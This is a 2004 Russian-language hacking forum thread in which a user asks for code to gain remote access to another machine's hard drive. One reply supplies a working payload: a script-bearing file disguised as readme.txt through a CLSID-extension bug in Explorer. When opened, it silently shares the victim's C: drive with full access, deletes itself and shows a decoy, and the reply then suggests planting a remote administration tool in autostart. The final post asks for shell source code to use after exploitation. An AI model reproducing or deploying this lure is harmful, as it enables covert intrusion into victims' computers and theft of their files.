· Начало · Отвђтить · Статистика · Поиск · FAQ · Правила · Установки · Язык · Выход · WASM.RU · Noir.Ru ·

 WASM Phorum —› WASM.NETWORKS —› Как подключить Ж диск

Посл.отвђт Сообщенiе


Дата: Май 2, 2004 21:08:33

Хотелось бы сырец программки, запуская которую на удаленной машине - можно подключить HDD к своей...
мой маил - bargimul@mail.ru
ЗАРАННЕЕ ПАСИБО!


Дата: Май 18, 2004 23:14:24

Попробуй так :)

Еще один метод внедрения средства удаленного администрирования (особенно это касается локальных сетей) стал возможным после обнаружения Гунинским ошибки explorer при обработке расширений файлов. Эта ошибка позволяет при просмотре файлов explorer'ом сделать так, чтобы запускаемый файл отображался с расширением txt. Теперь немного фантазии и появляется следующий пакетный файл с именем readme.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}:

<script>
a=new ActiveXObject("WSCript.Shell");
a.run("cmd /c net.exe share TEMP$=C:\ /REMARK:\"Стандартный общий ресурс\"&&del readme.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}&© 1 readme.txt&&start readme.txt&&del 1 \0");
</script>

Данный файл можно разместить на общем ресурсе, а также туда же положить файл с именем "1" и тот, кто, купившись на уведенное им невинное расширение txt, попытается открыть его в explorer'е создаст общий ресурс (TEMP$) с полным доступом, который будет указывать на C-диск. А также ему откроется содержимое файла "1". Он будет думать, что открыл файл readme.txt. Единственное что может насторожить - странно дополнительное окно. Что делать дальше, уже ясно: достаточно положить в автозагрузку программу удаленного администрирования и после перезагрузки хостом можно будет управлять.


Дата: Май 22, 2004 09:14:31

MilleR_2

Насчет уязвимостей - ет понятно, ето не единственная дырка которую мона использовать и не самая безопасная. Вопрос вот в чем: К примеру я использовал уязвимость - поимел возможность кинуть туда SHELL, так вот мне бы хотелось самому зделать небольшой shell - не использовать чужие грамоздкие трояны писанные на дельфях и т.д. Поэтому в свём посте я попросил исходничек (или даже не один). НО все равно пасибо за предложение MilleR_2!!
А так-же Eug ene за наставление на путь истенный!!!
Если у кого есть исходнички - можно с самыми элементарными функциями!!!!


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.098